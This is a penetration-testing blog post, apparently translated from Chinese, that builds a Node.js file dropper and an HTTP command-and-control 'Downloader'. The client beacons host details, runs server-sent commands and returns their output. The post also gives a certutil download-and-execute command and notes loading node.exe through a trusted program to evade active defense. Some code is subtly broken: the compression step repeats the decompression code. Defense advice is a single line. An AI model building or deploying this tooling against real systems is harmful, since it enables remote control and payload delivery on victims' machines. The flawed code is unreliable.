0x00 Preface

---

Node.js is a JavaScript runtime environment built on Chrome's V8 engine. It uses an event-driven, non-blocking I/O model, making it lightweight and efficient.

I recently learned a technique for bypassing active defense using Node.js from an article, so I studied Node.js syntax and am open-sourcing an implementation code for a Downloader, sharing details to note during script development.

Learning resource for bypassing active defense with Node.js:

https://bbs.pediy.com/thread-249573.htm

0x01 Introduction

---

This article will cover the following:

  • Basic Concepts
  • File Dropper Implementation using Node.js
  • Downloader Implementation using Node.js
  • Exploitation Ideas
  • Defense Recommendations

0x02 Basic Concepts

---

Difference between Node.js and JavaScript

JavaScript is a programming language

Node.js is a JavaScript runtime environment built on Chrome's V8 engine

Although both use .js file extensions on Windows, they differ significantly and have different syntax

Using Node.js

Official documentation:

https://nodejs.org/api/

Chinese resources:

http://www.runoob.com/nodejs/nodejs-tutorial.html

Download address:

https://nodejs.org/en/download/

On Windows, Node.js code is saved in files with .js extension and executed via node.exe

Node.js supports third-party packages; modules can be installed using npm command, example as follows:

Install web framework module express:

npm install express

Use module express:

var express = require('express');

Note:

The code covered in this article does not use third-party packages, only uses node.exe from the installation package

0x03 File Release Implementation Using Node.js

---

Implementation Approach:

Base64 encode the exe file and store it in a file; during release, first read the file for decoding, then write to the file

1. Read file content, perform base64 encoding, and output to data.txt

function base64_encode(file) {
var fs = require('fs');
var data = fs.readFileSync(file);
return Buffer.from(data).toString('base64');
}
var base64str = base64_encode('test.exe');
console.log(base64str);

Note:

fs.readFileSync indicates synchronous reading; use fs.readFile for asynchronous reading

Execute:

node.js base64encode.js >data.txt

2. Read the encrypted string saved in data.txt, base64 decode it, and generate a new file test2.exe

function base64_decode(base64str, file) {
var data = Buffer.from(base64str, 'base64');
fs.writeFileSync(file, data);
}
var fs = require('fs');
var base64str = fs.readFileSync('data.txt');
console.log(base64str.toString());
base64_decode(base64str.toString(), 'test2.exe');

Note:

After reading the file using the code var base64str = fs.readFileSync('data.txt');, the variablebase64strneeds to be explicitly converted to a string type, i.e., base64str.toString()

To reduce file size, incorporate the gzip compression algorithm

1. Read the content from test.exe, perform gzip compression, and save it to the file data.gz

function gunzip(sourcePath) {
var zlib = require('zlib');
var fs = require('fs');
var unzip = zlib.createGunzip();
var rs = fs.createReadStream(sourcePath);
var ws = fs.createWriteStream('test2.exe');
rs.pipe(unzip).pipe(ws);
}
gunzip('data.gz');

2. Read the content from data.gz, perform gzip decompression, and save to file test2.exe

var zlib = require('zlib');
var fs = require('fs');
function gunzip(sourcePath) {
var unzip = zlib.createGunzip();
var rs = fs.createReadStream(sourcePath);
var ws = fs.createWriteStream('test2.exe');
rs.pipe(unzip).pipe(ws);
}
gunzip('data.gz');

0x04 Downloader implemented using Node.js

---

Implementation approach:

1. Server

  • Listen on a specified port, wait for client connections, record the client's IP, connection time, and post data
  • Filter client packets, return control commands to clients meeting condition 1, display command execution results sent by clients meeting condition 2 on the current console, otherwise return a 404 page

2. Client

  • Connect to a specified server, send post data in a fixed format, including the current system's hostname and operating system version
  • Receive control commands returned by the server, execute them, and then send the results back to the server
  • If the server does not respond, wait for a period of time before sending the post request again

The following issues need to be considered:

1. Execute cmd commands via Node.js

function runcmd(command) {
var childprocess = require('child_process');
childprocess.exec(command, (err, stdout, stderr) => {
if (err) {
console.error(err);
return;
}
console.log(stdout);
});
}
runcmd('whoami');

2. Implementation of HTTP Communication

Server:

var http = require('http');
var querystring = require('querystring');
http.createServer(function (req, res) {
var body = '';
console.log('req.url:',req.url);
req.on('data', function (chunk) {
body += chunk;
console.log("chunk:",chunk);
});
req.on('end', function () {
body = querystring.parse(body);
console.log('body:',body);
res.write('Message from server');
res.end();
});
}).listen(3000,'0.0.0.0');

Client:

function sendHello(host1,port1){
var http = require('http');
var querystring = require('querystring');
var contents = querystring.stringify({
data1:'str1',
data2:'str2'
});
var options = {
host: host1,
port: port1,
path: '/',
method:'POST',
headers:{
'Content-Type':'application/x-www-form-urlencoded',
'Content-Length':contents.length
}
}
console.log('post options:\n',options);
console.log('content:',contents);

var req = http.request(options, function(res){
console.log('headers:', res.headers);
var data1='';
res.on('data', function(chunk){
data1 += chunk;
});
res.on('end', function(){
console.log('result:',data1)
});
});
req.write(contents);
req.end;
};
sendHello('127.0.0.1','3000');

Client sends post data to Server, content is data1=str1&data2=str2

After receiving the request, Server replies to Client with 'Message from server'

3. Implementation of sleep

Node.js does not support sleep operation by default, it can be implemented as follows:

function sleep(milliSeconds){
var startTime = new Date().getTime();
while (new Date().getTime() < startTime + milliSeconds);
}
var timeinterval = +'5000';
sleep(timeinterval);

Convert string type to number by adding + in front

4. Client periodically sends post requests in a loop

Here we need to consider asynchronous and synchronous issues

Node.js is asynchronous programming, but the client's periodic loop for sending post requests needs to be implemented synchronously. Test code is as follows:

Server:

Code same as above

Client:

function sleep(milliSeconds){
var startTime = new Date().getTime();
while(new Date().getTime()< startTime + milliSeconds);
}
function sendHello(host1,port1){
var http = require('http');
var querystring = require('querystring');
var contents = querystring.stringify({
data1:'str1',
data2:'str2'
});
var options = {
host: host1,
port: port1,
path: '/',
method:'POST',
headers:{
'Content-Type':'application/x-www-form-urlencoded',
'Content-Length':contents.length
}
}
console.log('post options:\n',options);
console.log('content:',contents);

var req = http.request(options, function(res){
console.log('headers:', res.headers);
var data1='';
res.on('data', function(chunk){
data1 += chunk;
});
res.on('end', function(){
console.log('result:',data1)
});
});
req.write(contents);
req.end;
};
while (true)
{
console.log('1');
sleep(5000);
sendHello('127.0.0.1','3000');
}

Expected result:

Client sends a POST request every 5 seconds and receives the result

Actual result:

The loop executes every 5 seconds, but the Client does not send a request

Since our initial plan was not to use npm, we also cannot use the async module to achieve synchronization

Finally, I resolved the synchronization issue through method nesting, as shown in the following example:

function sleep(milliSeconds){
var startTime = new Date().getTime();
while(new Date().getTime() < startTime + milliSeconds);
}
function A(){
console.log('A');
B();
}
function B(){
console.log('B');
sleep(5000);
A();
}
A();

5. Server displays Client's IP

Code as follows:

function getClientIp(req) {
return req.headers['x-forwarded-for'] ||
req.connection.remoteAddress ||
req.socket.remoteAddress ||
req.connection.socket.remoteAddress;
};

Default format is IPv6, for example:

::ffff:127.0.0.1

Can be specified as IPv4 by modifying listen parameters

Before modification:

.listen(3000);

After modification:

.listen(3000,'0.0.0.0');

6. The server checks the POST request and replies with 404 if it does not meet requirements.

Simply check the content of the body.

The complete implementation code has been open-sourced at:

An open-source project

Note:

The open-source code is merely an example, used to demonstrate NodeJS functionality.

Usage is as follows:

First, obtain node.exe from the download address: https://nodejs.org/en/download/

1. Edit the file Server.js

You can compile the following content:

  • Command sent to the client: var command
  • Listen on port: .listen(80,'0.0.0.0');

2. Start the Server

node.exe Server.js

Listen on the specified port, wait for client connections, and record the client's IP, connection time, and POST data.

Filter client packets, return control commands to first-time clients, display command execution results from clients on the current console for second-time clients, otherwise return a 404 page

3. Edit the file Client.js

Compile the following content:

  • Server IP: var serverip
  • Server port: var serverport
  • Loop interval time: var timeinterval

4. Start Client

node.exe Client.js

Client will connect to the Server, send fixed-format post data including the current system's hostname and operating system version

Then receive control commands returned by the Server, execute them, and send the results back to the Server

If the Server does not respond, wait for a period before sending the post request again

0x05 Exploitation Approach

---

1. The open-source code supports multiple payloads

The payload can be set to download and execute files, for example

var command = 'certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\\a.exe&&c:\\a.exe';

For more download and execution commands, refer to the previous article 'Penetration Techniques – Multiple Methods for Downloading Files from GitHub'.

Note:

To send a command for Client exit, use:

var command = 'taskkill /f /im node.exe';

2. Can be loaded by third-party trusted programs

Reference:

https://bbs.pediy.com/thread-249573.htm

t.exe -> node.exe -> main.js

Demonstration as shown:

Alt text

0x06 Defense Recommendations

---

Monitor and judge the behavior of child processes (node.exe) of t.exe, and intercept if suspicious behavior is detected.

0x07 Summary

---

This article details key considerations in Node.js code development and shares an open-source test code for a Downloader to demonstrate Node.js functionalities.

It briefly analyzes exploitation approaches in penetration testing and provides defense recommendations.